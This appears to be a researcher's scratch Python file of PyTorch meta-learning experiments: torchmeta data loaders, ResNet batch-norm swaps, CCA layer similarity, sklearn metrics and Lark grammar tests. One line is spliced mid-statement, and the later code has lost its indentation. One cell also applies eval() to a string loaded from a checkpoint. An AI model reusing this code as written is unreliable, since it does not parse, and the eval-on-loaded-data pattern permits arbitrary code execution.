# # model.train()
#
# # %%
#
# # https://discuss.pytorch.org/t/how-does-load-a-sequential-model-from-a-string/97648
# # https://stackoverflow.com/questions/64109883/how-does-one-load-a-sequential-model-from-a-string-in-pytorch
#
# # %%
#
# torch.save({'f': f,
# 'f_state_dict': f.state_dict(),
# 'f_str': str(f),
# 'f_modules': f._modules,
# 'f_modules_str': str(f._modules)
# }, path2avg_f)
#
# #%%
#
# from pathlib import Path
# from torch.utils.tensorboard import SummaryWriter
# import numpy as np
#
# path = Path('~/data/tb_test/').expanduser()
# # path = Path('~/logs/logs_Sep29_12-38-08_jobid_-1/tb').expanduser()
# writer = SummaryWriter(path)
#
# for n_iter in range(100):
# writer.add_scalar('Loss/train', np.random.random(), n_iter)
# writer.add_scalar('Loss/test', np.random.random(), n_iter)
# writer.add_scalar('Accuracy/train', np.random.random(), n_iter)
# writer.add_scalar('Accuracy/test', np.random.random(), n_iter)
#
# print('done! \a')
#
# #%%
#
# db = torch.load(str(args.resume_ckpt_path))
# # args.epchs = db['epoch'] # we can start counting from zero
# # args.epoch += 1 # this is needed so that it starts on the next batch since it says the last batch it *did* and range counts with 0 indexing.
# # meta_learner = db['meta_learner']
# args.base_model = db['f']
# # in case loading directly doesn't work
# modules = eval(db['f_modules_str'])
# args.base_model = torch.nn.Sequential(modules)
# f_state_dict = db['f_state_dict']
# args.base_model.load_state_dict(f_state_dict)
#
#
# #%%
#
# # Torch-meta miniImagenet
#
# import torchmeta
# from torchmeta.utils.data import BatchMetaDataLoader
# from torchmeta.transforms import ClassSplitter
#
# from pathlib import Path
#
# from tqdm import tqdm
#
# data_path = Path('~/data/').expanduser()
# meta_split = 'train'
# dataset = torchmeta.datasets.MiniImagenet(data_path, num_classes_per_task=5, meta_split=meta_split, download=True)
# # dataset = torchmeta.datasets.Omniglot(data_path, num_classes_per_task=5, meta_split=meta_split, download=True)
#
# print(f'type(metaset_miniimagenet) = {type(dataset)}')
# print(f'len(metaset_miniimagenet) = {len(dataset)}')
# shots, test_shots = 5, 15
# metaset = ClassSplitter(
# dataset,
# num_train_per_class=shots,
# num_test_per_class=test_shots,
# shuffle=True)
# batch_size = 16
# num_workers = 0
# meta_dataloader = BatchMetaDataLoader(metaset, batch_size=batch_size, num_workers=num_workers)
# epochs = 2
#
# print(f'batch_size = {batch_size}')
# print(f'len(metaset) = {len(metaset)}')
# print(f'len(meta_dataloader) = {len(meta_dataloader)}\n')
# with tqdm(range(epochs)) as tepochs:
# for epoch in tepochs:
# print(f'\n[epoch={epoch}]')
# for batch_idx, batch in enumerate(meta_dataloader):
# print(f'batch_idx = {batch_idx}')
# train_inputs, train_targets = batch['train']
# test_inputs, test_targets = batch['test']
# print(f'train_inputs.shape = {train_inputs.shape}')
# print(f'train_targets.shape = {train_targets.shape}')
# print(f'test_inputs.shape = {test_inputs.shape}')
# print(f'test_targets.shape = {test_targets.shape}')
# print()
# break
# break
#
# #%%
#
# from torchmeta.datasets.helpers import omniglot
# from torchmeta.datasets.helpers import miniimagenet
# from torchmeta.utils.data import BatchMetaDataLoader
#
# from pathlib import Path
#
# meta_split = 'train'
# data_path = Path('~/data/').expanduser()
# dataset = omniglot(data_path, ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
# dataset = miniimagenet(data_path, ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
# dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
#
# for batch in dataloader:
# train_inputs, train_targets = batch["train"]
# print('Train inputs shape: {0}'.format(train_inputs.shape)) # (16, 25, 1, 28, 28)
# print('Train targets shape: {0}'.format(train_targets.shape)) # (16, 25)
#
# test_inputs, test_targets = batch["test"]
# print('Test inputs shape: {0}'.format(test_inputs.shape)) # (16, 75, 1, 28, 28)
# print('Test targets shape: {0}'.format(test_targets.shape)) # (16, 75)
#
# #%%
#
# # replacing a module in in a pytorch model
# # https://discuss.pytorch.org/t/how-to-modify-a-pretrained-model/60509/11
#
# import torch
#
# from torchmeta.datasets.helpers import omniglot
# from torchmeta.datasets.helpers import miniimagenet
# from torchmeta.utils.data import BatchMetaDataLoader
#
# from pathlib import Path
#
# import copy
#
# meta_split = 'train'
# data_path = Path('~/data/').expanduser()
# dataset = omniglot(data_path, ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
# dataset = miniimagenet(data_path, ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
# dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
#
#
#
# def replace_bn(module, name):
# """
# Recursively put desired batch norm in nn.module module.
#
# set module = net to start code.
# """
# # go through all attributes of module nn.module (e.g. network or layer) and put batch norms if present
# for attr_str in dir(module):
# target_attr = getattr(module, attr_str)
# if type(target_attr) == torch.nn.BatchNorm2d:
# new_bn = torch.nn.BatchNorm2d(target_attr.num_features, target_attr.eps, target_attr.momentum, target_attr.affine,
# track_running_stats=False)
# setattr(module, attr_str, new_bn)
#
# # iterate through immediate child modules. Note, the recursion is done by our code no need to use named_modules()
# for name, immediate_child_module in module.named_children():
# replace_bn(immediate_child_module, name)
#
# def convert_bn(model):
# for module in model.modules():
# if isinstance(module, torch.nn.modules.batchnorm._BatchNorm):
# module.__init__(module.num_features, module.eps,
# module.momentum, module.affine,
# track_running_stats=False)
#
# fc_out_features = 5
#
# # model = torch.hub.load('pytorch/vision:v0.6.0', 'resnet18', pretrained=False)
# # replace_bn(model, 'model')
# # model.fc = torch.nn.Linear(in_features=512, out_features=fc_out_features, bias=True)
# #
# # model = torch.hub.load('pytorch/vision:v0.6.0', 'resnet50', pretrained=False)
# # replace_bn(model, 'model')
# # model.fc = torch.nn.Linear(in_features=2048, out_features=fc_out_features, bias=True)
#
# # model = torch.hub.load('pytorch/vision:v0.6.0', 'resnet101', pretrained=False)
# # replace_bn(model, 'model')
# # model.fc = torch.nn.Linear(in_features=2048, out_features=fc_out_features, bias=True)
#
# model = torch.hub.load('pytorch/vision:v0.6.0', 'resnet152', pretrained=False)
# replace_bn(model, 'model')
# model.fc = torch.nn.Linear(in_features=2048, out_features=fc_out_features, bias=True)
#
# for batch in dataloader:
# train_inputs, train_targets = batch["train"]
# print('Train inputs shape: {0}'.format(train_inputs.shape)) # (16, 25, 1, 28, 28)
# print('Train targets shape: {0}'.format(train_targets.shape)) # (16, 25)
# test_inputs, test_targets = batch["test"]
# print('Test inputs shape: {0}'.format(test_inputs.shape)) # (16, 75, 1, 28, 28)
# print('Test targets shape: {0}'.format(test_targets.shape)) # (16, 75)
# first_meta_batch = train_inputs[0] # task
# nk_task = first_meta_batch
# out = model(nk_task)
# print(f'resnet out.size(): {out.size()}')
# break
#
# print('success\a')
#
# # %%
#
# import torch
#
# import torchvision.transforms as transforms
#
# # import torchmeta
# # from torchmeta.datasets.helpers import omniglot
# from torchmeta.datasets.helpers import miniimagenet
# from torchmeta.utils.data import BatchMetaDataLoader
#
# from pathlib import Path
#
# meta_split = 'train'
# data_path = Path('~/data/').expanduser()
#
# normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
# data_augmentation_transforms = transforms.Compose([
# transforms.RandomResizedCrop(84),
# transforms.RandomHorizontalFlip(),
# transforms.ColorJitter(
# brightness=0.4,
# contrast=0.4,
# saturation=0.4,
# hue=0.2),
# transforms.ToTensor(),
# normalize])
# dataset = miniimagenet(data_path,
# transform=data_augmentation_transforms,
# ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
# dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
#
# model = torch.hub.load('pytorch/vision:v0.6.0', 'resnet18', pretrained=False)
#
# print(len(dataloader))
# # for batch_idx, batch in enumerate(dataloader):
# # print(f'--> batch_idx = {batch_idx}')
# # train_inputs, train_targets = batch["train"]
# # print('Train inputs shape: {0}'.format(train_inputs.shape)) # (16, 25, 1, 28, 28)
# # print('Train targets shape: {0}'.format(train_targets.shape)) # (16, 25)
# # test_inputs, test_targets = batch["test"]
# # print('Test inputs shape: {0}'.format(test_inputs.shape)) # (16, 75, 1, 28, 28)
# # print('Test targets shape: {0}'.format(test_targets.shape)) # (16, 75)
# # first_meta_batch = train_inputs[0] # task
# # nk_task = first_meta_batch
# # out = model(nk_task)
# # print(f'resnet out.size(): {out.size()}')
# # break
#
# print('success\a')
#
# #%%
#
# import torch
#
# import torchvision.transforms as transforms
#
# # import torchmeta
# # from torchmeta.datasets.helpers import omniglot
# from torchmeta.datasets.helpers import miniimagenet
# from torchmeta.utils.data import BatchMetaDataLoader
#
# from pathlib import Path
#
# meta_split = 'train'
# data_path = Path('~/data/').expanduser()
#
# normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
# data_augmentation_transforms = transforms.Compose([
# transforms.RandomResizedCrop(84),
# transforms.RandomHorizontalFlip(),
# transforms.ColorJitter(
# brightness=0.4,
# contrast=0.4,
# saturation=0.4,
# hue=0.2),
# transforms.ToTensor(),
# normalize])
# dataset = miniimagenet(data_path,
# transform=data_augmentation_transforms,
# ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
# dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
# print(f'len augmented = {len(dataloader)}')
#
# dataset = miniimagenet(data_path, ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
# dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
# print(f'len normal = {len(dataloader)}')
#
# print('success\a')
#
# #%%
#
# import torch
#
# import torchvision.transforms as transforms
#
# from torchmeta.datasets.helpers import miniimagenet
# from torchmeta.utils.data import BatchMetaDataLoader
#
# from tqdm import tqdm
#
# from pathlib import Path
#
# meta_split = 'train'
# data_path = Path('~/data/').expanduser()
#
# # normalize = transforms.Normalize(mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])
# # data_augmentation_transforms = transforms.Compose([
# # transforms.RandomResizedCrop(84),
# # transforms.RandomHorizontalFlip(),
# # transforms.ColorJitter(
# # brightness=0.4,
# # contrast=0.4,
# # saturation=0.4,
# # hue=0.2),
# # transforms.ToTensor(),
# # normalize])
# # dataset = miniimagenet(data_path,
# # transform=data_augmentation_transforms,
# # ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
# # dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
# # print(f'len augmented = {len(dataloader)}')
#
# dataset = miniimagenet(data_path, ways=5, shots=5, test_shots=15, meta_split=meta_split, download=True)
# dataloader = BatchMetaDataLoader(dataset, batch_size=16, num_workers=4)
# print(f'len normal = {len(dataloader)}')
#
# num_batches = 10
# with tqdm(dataloader, total=num_batches) as pbar:
# for batch_idx, batch in enumerate(pbar):
# train_inputs, train_targets = batch["train"]
# print(train_inputs.size())
# # print(batch_idx)
# if batch_idx >= num_batches:
# break
#
# print('success\a')
#
# #%%
#
# from math import comb
#
# total_classes = 64
# n = 5
# number_tasks = comb(total_classes, n)
# print(number_tasks)
#
# #%%
#
# # saving a json file save json file
# # human readable pretty print https://stackoverflow.com/questions/12943819/how-to-prettyprint-a-json-file
#
# import json
#
# data = 'data string'
# with open('data.txt', 'w') as outfile:
# json.dump(data, outfile)
#
# # json.dump(data, open('data.txt', 'w'))
#
# # with open(current_logs_path / 'experiment_stats.json', 'w+') as f:
# # json.dump(self.stats, f)
# # data_ars = {key:value for (key,value) in dictonary.items()}
# # x = {key:str(value) for (key,value) in args.__dict__.items()}
#
# with open(args.current_logs_path / 'args.json', 'w+') as argsfile:
# args_data = {key: str(value) for (key, value) in args.__dict__.items()}
# json.dump(args_data, argsfile, indent=4)
#
# #%%
#
# # get gpu model as string: https://stackoverflow.com/questions/64526139/how-does-one-get-the-model-of-the-gpu-in-python-and-save-it-as-a-string
#
# #%%
#
#
# image = PILI.open(self.images[idx]).convert('RGB')r (key,value) in args.__dict__.items()}
with open(args.current_logs_path / 'args.json', 'w+') as argsfile:
args_data = {key: str(value) for (key, value) in args.__dict__.items()}
json.dump(args_data, argsfile, indent=4)
# %%
# get gpu model as string: https://stackoverflow.com/questions/64526139/how-does-one-get-the-model-of-the-gpu-in-python-and-save-it-as-a-string
# %%
mean = [120.39586422 / 255.0, 115.59361427 / 255.0, 104.54012653 / 255.0]
# [0.47214064400000005, 0.45330829125490196, 0.4099612805098039]
std = [70.68188272 / 255.0, 68.27635443 / 255.0, 72.54505529 / 255.0]
mean2 = [0.485, 0.456, 0.406]
std2 = [0.229, 0.224, 0.225]
print(mean)
print(mean2)
print(mean == mean2)
print(std)
print(std2)
print(std == std2)
# %%
# references:
# https://stackoverflow.com/questions/20486700/why-we-always-divide-rgb-values-by-255
import numpy as np
from PIL import Image
import glob
import torchvision.transforms as transforms
from pathlib import Path
import os
transform = transforms.Compose([transforms.ToTensor()])
# get image meta-lstm
split = 'val'
root = Path(f'~/data/miniimagenet_meta_lstm/miniImagenet/{split}').expanduser()
labels = sorted(os.listdir(root))
images = [glob.glob(os.path.join(root, label, '*')) for label in labels]
label_idx = 0
img_idx = 0
img = Image.open(images[img_idx][img_idx]) # .convert('RGB')
# check image as 0-255
a = np.asarray(img) # 0-255 image range
print(a)
img = Image.fromarray(a) # from array to img object
print(img)
a2 = np.asarray(a)
print((a == a2).all())
# converts image object or 0-255 image to
img = transform(img)
print(img)
# rfs
# img = np.asarray(self.imgs[item]).astype('uint8')
# meta-lstm
# images = [glob.glob(os.path.join(root, label, '*')) for label in self.labels]
# image = PILI.open(self.images[idx]).convert('RGB')
# %%
from tqdm import tqdm
train_iters = 2
with tqdm(range(train_iters), total=train_iters) as pbar_epochs:
print(range(train_iters))
print(list(range(train_iters)))
for epoch in pbar_epochs:
print(epoch)
# %%
## sinusioid function
print('Starting Sinusioid cell')
import torchmeta
# from torchmeta.toy import Sinusoid
from torchmeta.utils.data import BatchMetaDataLoader
# from torchmeta.transforms import ClassSplitter
# from tqdm import tqdm
batch_size = 16
shots = 5
test_shots = 15
dataset = torchmeta.toy.helpers.sinusoid(shots=shots, test_shots=test_shots)
dataloader = BatchMetaDataLoader(dataset, batch_size=batch_size, num_workers=4)
# print(f'batch_size = {batch_size}')
# print(f'len(dataloader) = {len(dataloader)}\n')
# for batch_idx, batch in enumerate(dataloader):
# print(f'batch_idx = {batch_idx}')
# train_inputs, train_targets = batch['train']
# test_inputs, test_targets = batch['test']
# print(f'train_inputs.shape = {train_inputs.shape}')
# print(f'train_targets.shape = {train_targets.shape}')
# print(f'test_inputs.shape = {test_inputs.shape}')
# print(f'test_targets.shape = {test_targets.shape}')
# if batch_idx >= 1: # halt after 2 iterations
# break
# two tasks are different
dl = enumerate(dataloader)
_, x1 = next(dl)
x1, _ = x1['train']
print(f'x1 = {x1.sum()}')
_, x2 = next(dl)
x2, _ = x2['train']
print(f'x2 = {x2.sum()}')
assert (x1.sum() != x2.sum())
print('assert pass, tasks have different data')
# same task twice
dl = enumerate(dataloader)
_, x1 = next(dl)
x1, _ = x1['train']
print(f'x1 = {x1.sum()}')
dl = enumerate(dataloader)
_, x2 = next(dl)
x2, _ = x2['train']
print(f'x2 = {x2.sum()}')
assert (x1.sum() == x2.sum())
print('DONE\a')
# %%
# https://github.com/tristandeleu/pytorch-meta/issues/69
from torchmeta.toy.helpers import sinusoid
from torchmeta.utils.data import BatchMetaDataLoader
batch_size = 16
shots = 5
test_shots = 15
# Seed the dataset with `seed = 0`
dataset = sinusoid(shots=shots, test_shots=test_shots, seed=0)
# `num_workers = 0` to avoid stochasticity of multiple processes
dataloader = BatchMetaDataLoader(dataset, batch_size=batch_size,
shuffle=False, num_workers=0)
batch = next(iter(dataloader))
inputs, _ = batch['train']
print(f'Sum of inputs: {inputs.sum()}')
# %%
# https://github.com/tristandeleu/pytorch-meta/issues/69
from torchmeta.toy.helpers import sinusoid
from torchmeta.utils.data import BatchMetaDataLoader
def random_hash():
return random.randrange(1 << 32)
batch_size = 16
shots = 5
test_shots = 15
# Seed the dataset with `seed = 0`
dataset = sinusoid(shots=shots, test_shots=test_shots, seed=0)
dataset.__hash__ = random_hash
# `num_workers = 0` to avoid stochasticity of multiple processes
dataloader = BatchMetaDataLoader(dataset, batch_size=batch_size,
shuffle=False, num_workers=0)
batch = next(iter(dataloader))
inputs, _ = batch['train']
print(f'Sum of inputs: {inputs.sum()}')
# %%
# https://github.com/tristandeleu/pytorch-meta/issues/69
from torchmeta.toy.helpers import sinusoid
from torchmeta.utils.data import BatchMetaDataLoader
batch_size = 16
shots = 5
test_shots = 15
dataset = sinusoid(shots=shots, test_shots=test_shots)
# `num_workers = 0` to avoid stochasticity of multiple processes
dataloader = BatchMetaDataLoader(dataset, batch_size=batch_size,
shuffle=False, num_workers=4)
batch = next(iter(dataloader))
inputs, _ = batch['train']
print(f'Sum of inputs: {inputs.sum()}')
# %%
from pathlib import Path
import torch
path = '/home/miranda9/data/dataset_LS_fully_connected_NN_with_BN/meta_set_fully_connected_NN_with_BN_std1_8.0_std2_1.0_noise_std0.1/train/fi_fully_connected_NN_with_BN_norm_f_151.97657775878906'
path = Path(path).expanduser() / 'fi_db.pt'
path = str(path)
# db = torch.load(path)
# torch.jit.load(path)
db = torch.jit.load(str(path))
print(db)
# %%
import torch
import torch.nn as nn
from collections import OrderedDict
fc0 = nn.Linear(in_features=1, out_features=1)
params = [('fc0', fc0)]
mdl = nn.Sequential(OrderedDict(params))
x = torch.tensor([1.0])
y = mdl(x)
print(y)
# %%
# secs per it to days
def sect_per_it_2_days(secs_per_it, total_its):
days = (secs_per_it * total_its) / (60 * 60 * 24)
print(days)
print(f'time in days for resnet18_rfs with 1 inner steps')
sect_per_it_2_days(4.76, 100000)
print(f'time in days for resnet18_rfs with 1 inner steps')
sect_per_it_2_days(8.19, 100000)
print(f'time in days for resnet18_rfs with 4 inner steps')
sect_per_it_2_days(16.11, 100000)
print(f'time in days for synthetic with 1 inner steps')
sect_per_it_2_days(46.26, 100000)
print(f'time in days for synthetic with 1 inner steps')
sect_per_it_2_days(3.47, 100000)
print(f'time in days for synthetic with 1 inner steps')
sect_per_it_2_days(2.7, 100000)
print(f'time in days for synthetic with 1 inner steps')
sect_per_it_2_days(5.7, 100000)
print(f'time in days for synthetic with 1 inner steps')
sect_per_it_2_days(46.26, 20000)
print(f'time in days for synthetic with 1 inner steps')
sect_per_it_2_days(2.7, 20_000)
# %%
import torch
import torch.nn as nn
from anatome import SimilarityHook
from collections import OrderedDict
from pathlib import Path
# get init
path_2_init = Path('~/data/logs/logs_Nov17_13-57-11_jobid_416472.iam-pbs/ckpt_file.pt').expanduser()
ckpt = torch.load(path_2_init)
mdl = ckpt['f']
#
Din, Dout = 1, 1
mdl = nn.Sequential(OrderedDict([
('fc1_l1', nn.Linear(Din, Dout)),
('out', nn.SELU())
]))
mdl2 = nn.Sequential(OrderedDict([
('fc1_l1', nn.Linear(Din, Dout)),
('out', nn.SELU())
]))
#
hook1 = SimilarityHook(mdl, "fc1_l1")
hook2 = SimilarityHook(mdl2, "fc1_l1")
mdl.eval()
mdl2.eval()
#
num_samples_per_task = 100
lb, ub = -1, 1
x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples_per_task, Din))
with torch.no_grad():
mdl(x)
mdl2(x)
hook1.distance(hook2, size=8)
# %%
import torch
import torch.nn as nn
from anatome import SimilarityHook
from collections import OrderedDict
from pathlib import Path
# get init
path_2_init = Path('~/data/logs/logs_Nov17_13-57-11_jobid_416472.iam-pbs/ckpt_file.pt').expanduser()
ckpt = torch.load(path_2_init)
mdl = ckpt['f']
#
Din, Dout = 1, 1
mdl = nn.Sequential(OrderedDict([
('fc1_l1', nn.Linear(Din, Dout)),
('out', nn.SELU())
]))
# with torch.no_grad():
# mdl.fc1_l1.weight.fill_(2.0)
# mdl.fc1_l1.bias.fill_(2.0)
#
hook1 = SimilarityHook(mdl, "fc1_l1")
hook2 = SimilarityHook(mdl, "fc1_l1")
mdl.eval()
# params for doing "good" CCA
iters = 10
num_samples_per_task = 100
size = 8
# start CCA comparision
lb, ub = -1, 1
with torch.no_grad():
for _ in range(iters):
x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples_per_task, Din))
mdl(x)
hook1.distance(hook2, size=size)
# %%
import torch
import torch.nn as nn
from anatome import SimilarityHook
from collections import OrderedDict
from pathlib import Path
# get init
# path_2_init = Path('~/data/logs/logs_Nov17_13-57-11_jobid_416472.iam-pbs/ckpt_file.pt').expanduser()
# ckpt = torch.load(path_2_init)
# mdl = ckpt['f']
#
Din, Dout = 1, 1
mdl1 = nn.Sequential(OrderedDict([
('fc1_l1', nn.Linear(Din, Dout)),
('out', nn.SELU()),
('fc2_l2', nn.Linear(Din, Dout)),
]))
mdl2 = nn.Sequential(OrderedDict([
('fc1_l1', nn.Linear(Din, Dout)),
('out', nn.SELU()),
('fc2_l2', nn.Linear(Din, Dout)),
]))
with torch.no_grad():
mu = torch.zeros(Din)
# std = 1.25e-2
std = 10
noise = torch.distributions.normal.Normal(loc=mu, scale=std).sample()
# mdl2.fc1_l1.weight.fill_(50.0)
# mdl2.fc1_l1.bias.fill_(50.0)
mdl2.fc1_l1.weight += noise
mdl2.fc1_l1.bias += noise
#
hook1 = SimilarityHook(mdl1, "fc2_l2")
hook2 = SimilarityHook(mdl2, "fc2_l2")
mdl1.eval()
mdl2.eval()
# params for doing "good" CCA
iters = 10
num_samples_per_task = 500
size = 8
# start CCA comparision
lb, ub = -1, 1
with torch.no_grad():
for _ in range(iters):
x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples_per_task, Din))
y1 = mdl1(x)
y2 = mdl2(x)
print((y1 - y2).norm(2))
dist = hook1.distance(hook2, size=size)
print(f'dist={dist}')
# %%
a = ("John", "Charles", "Mike")
b = ("Jenny", "Christy", "Monica", "Vicky")
lst = zip(a, b)
lst = list(lst)
print(lst)
# %%
lst = [
[1, 2, 3],
[4, 5, 6],
[7, 8, 9]
]
lst = zip(*lst)
lst = list(lst)
print(lst)
import numpy as np
average_per_layer = [np.average(l) for l in lst]
average_total = np.average(average_per_layer)
print(average_per_layer)
print(average_total)
# %%
import torch
import torch.nn as nn
from anatome import SimilarityHook
from collections import OrderedDict
from pathlib import Path
import copy
# get init
path_2_init = Path('~/data/logs/logs_Nov17_13-57-11_jobid_416472.iam-pbs/ckpt_file.pt').expanduser()
ckpt = torch.load(path_2_init)
mdl = ckpt['f']
mdl1 = mdl
# mdl2 = copy.deepcopy(mdl1)
mdl2 = copy.deepcopy(mdl)
#
Din, Dout = 1, 1
# mdl1 = nn.Sequential(OrderedDict([
# ('fc1_l1', nn.Linear(in_features=1, out_features=300, bias=True)),
# ('bn1_l1', nn.BatchNorm1d(300, eps=1e-05, momentum=0.1, affine=True, track_running_stats=False)),
# ('relu1', nn.ReLU()),
# ('fc2_l1', nn.Linear(in_features=300, out_features=300, bias=True)),
# ('bn2_l1', nn.BatchNorm1d(300, eps=1e-05, momentum=0.1, affine=True, track_running_stats=False)),
# ('relu2', nn.ReLU()),
# ('fc3_l1', nn.Linear(in_features=300, out_features=300, bias=True)),
# ('bn3_l1', nn.BatchNorm1d(300, eps=1e-05, momentum=0.1, affine=True, track_running_stats=False)),
# ('relu3', nn.ReLU()),
# ('fc4_final_l2', nn.Linear(in_features=300, out_features=1, bias=True))
# ]))
# mdl2 = nn.Sequential(OrderedDict([
# ('fc1_l1', nn.Linear(in_features=1, out_features=300, bias=True)),
# ('bn1_l1', nn.BatchNorm1d(300, eps=1e-05, momentum=0.1, affine=True, track_running_stats=False)),
# ('relu1', nn.ReLU()),
# ('fc2_l1', nn.Linear(in_features=300, out_features=300, bias=True)),
# ('bn2_l1', nn.BatchNorm1d(300, eps=1e-05, momentum=0.1, affine=True, track_running_stats=False)),
# ('relu2', nn.ReLU()),
# ('fc3_l1', nn.Linear(in_features=300, out_features=300, bias=True)),
# ('bn3_l1', nn.BatchNorm1d(300, eps=1e-05, momentum=0.1, affine=True, track_running_stats=False)),
# ('relu3', nn.ReLU()),
# ('fc4_final_l2', nn.Linear(in_features=300, out_features=1, bias=True))
# ]))
# with torch.no_grad():
# mu = torch.zeros(Din)
# # std = 1.25e-2
# std = 10
# noise = torch.distributions.normal.Normal(loc=mu, scale=std).sample()
# # mdl2.fc1_l1.weight.fill_(50.0)
# # mdl2.fc1_l1.bias.fill_(50.0)
# mdl2.fc1_l1.weight += noise
# mdl2.fc1_l1.bias += noise
#
# hook1 = SimilarityHook(mdl1, "fc1_l1")
# hook2 = SimilarityHook(mdl2, "fc1_l1")
hook1 = SimilarityHook(mdl1, "fc2_l1")
hook2 = SimilarityHook(mdl2, "fc2_l1")
mdl1.eval()
mdl2.eval()
# params for doing "good" CCA
iters = 10
num_samples_per_task = 500
size = 8
# start CCA comparision
lb, ub = -1, 1
# with torch.no_grad():
# for _ in range(iters):
# # x = torch.torch.distributions.Uniform(low=-1, high=1).sample((15, 1))
# x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples_per_task, Din))
# y1 = mdl1(x)
# y2 = mdl2(x)
# print((y1-y2).norm(2))
for _ in range(iters):
x = torch.torch.distributions.Uniform(low=-1, high=1).sample((15, 1))
# x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples_per_task, Din))
y1 = mdl1(x)
y2 = mdl2(x)
print((y1 - y2).norm(2))
dist = hook1.distance(hook2, size=size)
print(f'dist={dist}')
# %%
from sklearn.metrics import explained_variance_score
y_true = [3, -0.5, 2, 7]
y_pred = [2.5, 0.0, 2, 8]
explained_variance_score(y_true, y_pred)
y_true = [[0.5, 1], [-1, 1], [7, -6]]
y_pred = [[0, 2], [-1, 2], [8, -5]]
ev = explained_variance_score(y_true, y_pred, multioutput='uniform_average')
ev_raw = explained_variance_score(y_true, y_pred, multioutput='raw_values')
ev_weighted = explained_variance_score(y_true, y_pred, multioutput='variance_weighted')
print(ev_raw)
print(ev_weighted)
# %%
# import sklearn.metrics.mean_squared_error as mse, not possible because is a funciton is my guess?
# https://stackoverflow.com/questions/40823418/why-cant-i-import-from-a-module-alias
from sklearn.metrics import mean_squared_error
y_true = [3, -0.5, 2, 7]
y_pred = [2.5, 0.0, 2, 8]
mean_squared_error(y_true, y_pred)
y_true = [3, -0.5, 2, 7]
y_pred = [2.5, 0.0, 2, 8]
mean_squared_error(y_true, y_pred, squared=False)
y_true = [[0.5, 1], [-1, 1], [7, -6]]
y_pred = [[0, 2], [-1, 2], [8, -5]]
mean_squared_error(y_true, y_pred)
mean_squared_error(y_true, y_pred, squared=False)
mean_squared_error(y_true, y_pred, multioutput='raw_values')
mean_squared_error(y_true, y_pred, multioutput=[0.3, 0.7])
# %%
import torch
import torch.nn as nn
from anatome import SimilarityHook
from collections import OrderedDict
from pathlib import Path
import copy
#
Din, Dout = 1, 1
mdl1 = nn.Sequential(OrderedDict([
('fc1_l1', nn.Linear(Din, Dout)),
('out', nn.SELU()),
('fc2_l2', nn.Linear(Din, Dout)),
]))
mdl2 = nn.Sequential(OrderedDict([
('fc1_l1', nn.Linear(Din, Dout)),
('out', nn.SELU()),
('fc2_l2', nn.Linear(Din, Dout)),
]))
if torch.cuda.is_available():
mdl1 = mdl1.cuda()
mdl2 = mdl2.cuda()
with torch.no_grad():
mu = torch.zeros(Din)
# std = 1.25e-2
std = 10
noise = torch.distributions.normal.Normal(loc=mu, scale=std).sample()
# mdl2.fc1_l1.weight.fill_(50.0)
# mdl2.fc1_l1.bias.fill_(50.0)
mdl2.fc1_l1.weight += noise
mdl2.fc1_l1.bias += noise
hook1 = SimilarityHook(mdl1, "fc2_l1")
hook2 = SimilarityHook(mdl2, "fc2_l1")
mdl1.eval()
mdl2.eval()
# params for doing "good" CCA
iters = 10
num_samples_per_task = 500
size = 8
# start CCA comparision
lb, ub = -1, 1
for _ in range(iters):
x = torch.torch.distributions.Uniform(low=-1, high=1).sample((15, 1))
if torch.cuda.is_available():
x = x.cuda()
# x = torch.torch.distributions.Uniform(low=lb, high=ub).sample((num_samples_per_task, Din))
y1 = mdl1(x)
y2 = mdl2(x)
print((y1 - y2).norm(2))
dist = hook1.distance(hook2, size=size)
print(f'dist={dist}')
# %%
# other cca library for layer https://discuss.pytorch.org/t/what-is-a-good-cca-cka-library-for-pytorch-that-works-ideally-with-gpu/104889
# https://github.com/jameschapman19/cca_zoo
# %%
# walrus operator
# https://therenegadecoder.com/code/the-controversy-behind-the-walrus-operator-in-python/
(x := 1)
print(x)
#
from pathlib import Path
path = Path('~/data/coq-hott-dataset-serpi/contrib/HoTTBook.feat').expanduser()
with open(path) as f:
while line := f.read():
print(line)
#
# [result for x in values if (result := func(x)) < 10]
#
# if result := do_something():
# do_more(result)
[y := f(x), y ** 2, y ** 3]
# %%
from lark import Lark
#
grammar = '''start: WORD "," WORD "!"
%import common.WORD // imports from terminal library
%ignore " " // Disregard spaces in text
'''
# grates parser
l = Lark(grammar)
print(l.parse("Hello, World!"))
# %%
from lark import Lark
import lark
grammar = """
start: term
term: apply
| const
| free
| var
| bound
| abs
apply: "(apply " term " " term ")"
const: "(const " MYSTR ")"
free: "(free " MYSTR ")"
var: "(var " MYSTR ")"
bound: "(bound " MYSTR ")"
abs: "(abs " MYSTR " " term ")"
MYSTR: LETTER (LETTER | "." | "_" | DIGIT)*
%import common.WORD
%import common.DIGIT
%import common.LETTER
%ignore " "
"""
parser = Lark(grammar)
tree1 = parser.parse(
"(apply (const HOL.Trueprop) (apply (apply (const HOL.implies) (apply (apply (const HOL.conj) (free A)) (free B))) (apply (apply (const HOL.conj) (free B)) (free A))))")
print(parser.parse(
"(apply (const HOL.Trueprop) (apply (apply (const HOL.implies) (apply (apply (const HOL.conj) (free A)) (free B))) (apply (apply (const HOL.conj) (free B)) (free A))))"))
print(tree1.pretty())
class IncreaseAllNumbers(lark.Transformer):
